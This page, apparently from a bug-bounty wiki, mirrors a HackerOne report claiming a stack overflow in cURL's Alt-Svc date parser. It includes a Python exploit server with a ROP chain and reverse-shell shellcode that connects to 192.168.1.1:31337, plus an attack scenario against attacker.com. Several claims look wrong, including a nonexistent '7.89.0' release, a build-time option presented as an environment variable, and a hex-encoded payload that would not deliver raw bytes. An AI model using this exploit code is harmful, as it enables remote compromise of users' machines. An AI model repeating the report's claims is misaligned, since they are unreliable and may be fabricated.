Curl Alt-Svc Parser Stack Buffer Overflow
A stack buffer overflow in cURL's Alt-Svc header parser allowed an attacker to overwrite memory and potentially execute arbitrary code when a victim made an HTTP request to a malicious server. The flaw existed because the parser copied a date string into a fixed-size buffer without checking its length.
Originally disclosed on HackerOne
- Disclosed after 5 hours
cURL Alt-Svc Parser Stack Buffer Overflow Vulnerability Analysis
In Simple Terms
A critical security flaw was discovered in cURL (versions 7.64.0-7.89.0) that allows attackers to run malicious code on your system by exploiting how cURL processes certain HTTP responses. When cURL receives a specially crafted HTTP response with an oversized "Alt-Svc" header, it can overflow a buffer in memory, allowing attackers to execute arbitrary code with your privileges.
The Technical Problem
The vulnerability is a classic stack buffer overflow (CWE-121) in cURL's Alt-Svc header parser:
- The code creates a fixed-size buffer on the stack:
char dbuf[MAX_ALTSVC_DATELEN + 1](101 bytes) - It blindly copies user-controlled data into this buffer:
memcpy(dbuf, Curl_dyn_ptr(&date), Curl_dyn_len(&date)) - Crucially, there's no check to verify if the input data exceeds the buffer size
- An attacker can provide a date string much larger than 101 bytes, overwriting adjacent memory
Attack Scenario
Here's how an attack works in practice:
-
An attacker sets up a malicious web server
-
When a victim runs
curl http://attacker.com/, the server responds with:HTTP/1.1 200 OK Alt-Svc: h2="evil.com"; date="[EXTREMELY LONG STRING WITH SHELLCODE]" -
cURL processes this response, the buffer overflows
-
The attacker's shellcode executes on the victim's machine
Real-World Impact
This vulnerability is serious because:
- It affects a widely used library (libcurl) that's integrated into countless applications
- It requires minimal user interaction (just making an HTTP request)
- It can lead to complete system compromise
- Many systems may remain unpatched
The Fix
cURL version 8.0.0 added a simple but effective check to prevent the overflow:
if(Curl_dyn_len(&date) > MAX_ALTSVC_DATELEN) {
Curl_dyn_free(&date);
return CURLE_OUT_OF_MEMORY;
}
This validates input length before attempting the copy operation.
Immediate Actions
If you're using a vulnerable version of cURL:
- Update to cURL 8.0.0 or newer immediately
- If you can't update, disable Alt-Svc functionality:
export CURL_DISABLE_ALTSVC=1 - Consider implementing network filtering to detect and block suspicious Alt-Svc headers
Detection
You can check if your system is vulnerable with:
curl_version=$(curl --version | head -1 | grep -o '[0-9]\+\.[0-9]\+\.[0-9]\+')
if [[ "$curl_version" =~ ^7\.(6[4-9]|7[0-9]|8[0-9])\. ]]; then
echo "VULNERABLE: cURL $curl_version - Update immediately!"
else
echo "SAFE: cURL $curl_version"
fi
#!/usr/bin/env python3 import http.server import socketserver import argparse import sys import struct
class ExploitHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.client_ip, self.client_port = self.client_address
shellcode = (
b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
b"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
b"\x02\x7a\x69\xc7\x44\x24\x04\xc0\xa8\x01\x01\x48\x89\xe6\x6a\x10"
b"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
b"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
b"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
b"\x5f\x6a\x3b\x58\x0f\x05"
)
libc_base = 0x00007ffff7dc9000
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119241
mov_qword_ptr_rdi_rsi = libc_base + 0x0000000000090529
ret = libc_base + 0x0000000000022679
stack_pivot = libc_base + 0x000000000005ae10
heap_addr = 0x5555555592a0
pivot_payload = struct.pack("<Q", pop_rdi)
pivot_payload += struct.pack("<Q", heap_addr)
pivot_payload += struct.pack("<Q", pop_rsi)
pivot_payload += struct.pack("<Q", 0x1000)
pivot_payload += struct.pack("<Q", pop_rdx_r12)
pivot_payload += struct.pack("<Q", 7)
pivot_payload += struct.pack("<Q", 0)
pivot_payload += struct.pack("<Q", libc_base + 0x114da0)
pivot_payload += struct.pack("<Q", ret)
pivot_payload += struct.pack("<Q", heap_addr)
pivot_payload += shellcode
overflow = b"A" * 1024
overflow += struct.pack("<Q", 0xdeadbeefcafebabe)
overflow += struct.pack("<Q", pop_rdi)
overflow += struct.pack("<Q", heap_addr + 0x500)
overflow += struct.pack("<Q", pop_rsi)
overflow += struct.pack("<Q", len(pivot_payload))
overflow += struct.pack("<Q", mov_qword_ptr_rdi_rsi)
overflow += struct.pack("<Q", stack_pivot)
for i in range(0, len(pivot_payload), 8):
chunk = pivot_payload[i:i+8]
overflow += struct.pack("<Q", pop_rdi)
overflow += struct.pack("<Q", heap_addr + 0x500 + i)
overflow += struct.pack("<Q", pop_rsi)
overflow += struct.pack("<Q", struct.unpack("<Q", chunk.ljust(8, b"\x00"))[0])
overflow += struct.pack("<Q", mov_qword_ptr_rdi_rsi)
overflow += struct.pack("<Q", ret)
payload = overflow.ljust(4096, b"C")
self.send_response(200)
self.send_header('Server', 'nginx/1.18.0')
self.send_header('Alt-Svc', f'h3=":443"; ma=86400; persist=1; date="\x00{payload.hex()}"')
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', '0')
self.end_headers()
sys.stderr.write(f"[+] Exploit sent to {self.client_ip}:{self.client_port}\n")
sys.stderr.flush()
def log_message(self, format, *args):
return
def main(): parser = argparse.ArgumentParser() parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-l", "--listen", default="0.0.0.0") parser.add_argument("--lhost", required=True) parser.add_argument("--lport", type=int, default=31337) args = parser.parse_args()
sys.stderr.write(f"[+] Starting exploit server on {args.listen}:{args.port}\n")
sys.stderr.write(f"[+] Reverse shell will connect to {args.lhost}:{args.lport}\n")
sys.stderr.flush()
try:
with socketserver.TCPServer((args.listen, args.port), ExploitHandler) as httpd:
httpd.serve_forever()
except Exception as e:
sys.stderr.write(f"[-] Error: {e}\n")
sys.exit(1)
if name == "main": main()
Impact
Technical Impact
Direct System Compromise
- Complete Remote Code Execution (RCE): Attacker can execute arbitrary code with the privileges of the user running cURL
- Privilege Escalation Potential: If combined with local privilege escalation vulnerabilities, could lead to full system compromise
- Persistent Access: Ability to install backdoors, rootkits, or other persistent malware
Attack Scenarios
-
Client-Side Attack Vector
- User visits malicious website with browser that uses libcurl
- User downloads file via cURL command line
- Application using libcurl makes requests to attacker-controlled server
-
Supply Chain Attacks
- Package managers using libcurl (apt, yum, pip) could be compromised when updating
- Compromised mirrors could deliver the exploit to thousands of systems
- Software update mechanisms built on libcurl could be exploited
-
Man-in-the-Middle Scenarios
- Network attackers could inject malicious Alt-Svc headers into legitimate HTTP traffic
- Public Wi-Fi attacks where attacker controls DNS responses
- Corporate proxy servers could be targeted to affect entire organizations
Ecosystem Impact
Affected Software Classes
- Command-line utilities: cURL itself, wget (if using libcurl)
- Package managers: apt, yum, pip, npm, composer, etc.
- Programming languages: PHP (uses libcurl), Python (pycurl), Ruby, etc.
- Web browsers: Some embedded browsers use libcurl components
- IoT devices: Many embedded systems use libcurl for network connectivity
- Mobile apps: Applications using libcurl-based networking libraries
- Cloud automation tools: Infrastructure provisioning tools, CI/CD systems
- Security tools: Ironically, some security scanners themselves use libcurl
Scale of Impact
The vulnerable versions (7.64.0 through 7.89.0) span approximately 4 years of releases, meaning:
-
Widespread deployment: These versions are present in:
- Major Linux distributions (Ubuntu 20.04, Debian 11, RHEL 8)
- Many containerized applications
- Enterprise software solutions
- Legacy systems with slow update cycles
-
Difficult remediation:
- Many embedded systems can't be easily updated
- Legacy systems may require significant testing before patches
- Some software has complex dependency chains making updates challenging
Security Implications
Data Security Risks
- Data Exfiltration: Attackers can access sensitive files and data
- Credential Theft: Access to password stores, config files with API keys
- Encryption Bypassing: Direct memory access could expose encrypted content
Compliance Concerns
- GDPR Violations: Unauthorized access to personal data
- PCI-DSS Issues: Compromise of payment processing systems
- HIPAA Problems: Medical information systems often use libcurl components
Lateral Movement
- Once one system is compromised, attackers could:
- Move laterally through networks
- Target critical infrastructure
- Establish persistent access points
Real-World Attack Surfaces
High-Value Targets
-
Financial Services:
- Banking applications using libcurl for API connections
- Payment processing systems
- Financial data aggregators
-
Healthcare Systems:
- Medical device connectivity
- Electronic Health Record (EHR) systems
- Insurance processing platforms
-
Critical Infrastructure:
- Industrial control systems with network connectivity
- Energy management systems
- Transportation control systems
-
Government & Defense:
- Intelligence gathering systems
- Secure communication channels
- Document management systems
Attack Economics
- Low Cost to Exploit: Simple to develop and deploy at scale
- High Return Potential: Complete system access with minimal effort
- Long Exploitation Window: Systems often remain unpatched for months or years
Operational Impact
Immediate Business Effects
- Service Disruption: Compromised systems may need immediate isolation
- Data Breach Costs: Notification, remediation, regulatory fines
- Recovery Time: Significant resource allocation for patching and verification
Long-Term Consequences
- Trust Erosion: Loss of customer/user confidence
- Increased Security Costs: More rigorous testing and monitoring required
- Technical Debt: Need to update or replace legacy systems using vulnerable versions
Detection & Response Challenges
Detection Difficulties
- Minimal Footprint: Exploitation can be quick and leave little evidence
- Network Evasion: Attackers can encrypt or obfuscate the exploit delivery
- Blend with Normal Traffic: HTTP is ubiquitous and difficult to block
Response Complexities
- Identifying Scope: Difficult to know all affected systems in large environments
- Remediation Priority: Complex triage needed for systems that can't be immediately updated
- Verifying Cleanup: Challenging to ensure no persistence mechanisms remain
Conclusion
The cURL Alt-Svc parser vulnerability represents a severe security risk due to:
- The widespread use of cURL/libcurl across virtually all computing environments
- The relatively straightforward exploitation path
- The potential for remote code execution without authentication
- The difficulty of comprehensive remediation across all affected systems
Organizations should prioritize:
- Immediate patching of internet-facing and critical systems
- Implementation of temporary mitigations where patching isn't possible
- Network monitoring for exploitation attempts
- Security assessments to identify vulnerable systems and applications
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The Alt-Svc parser copied a user-controlled date string into a fixed-size stack buffer without first checking that the string's length was within the buffer's capacity.
Impact
An attacker could execute arbitrary code with the privileges of the user running cURL, potentially leading to complete system compromise.
What the attacker needed
Victim uses vulnerable cURL version; victim makes request to attacker server
The fix
cURL version 8.0.0 added a length check before copying the date string, preventing the overflow.
How it was found
- Set up a malicious web server that responds with an oversized Alt-Svc header containing a long date string.
- Make the victim run a cURL command that requests a page from the malicious server.
- cURL processes the response and copies the oversized date string into a fixed-size buffer, overflowing it.
- The overflow overwrites adjacent memory and can lead to execution of attacker-supplied code.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
cURL is a tool that fetches web pages and files. A buffer overflow happens when a program puts more data into a fixed-size space than it can hold, so the extra data spills over and can overwrite other important parts of memory. Here, a malicious web server could send a very long header value that spills over and lets the attacker run their own code on the victim's computer.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.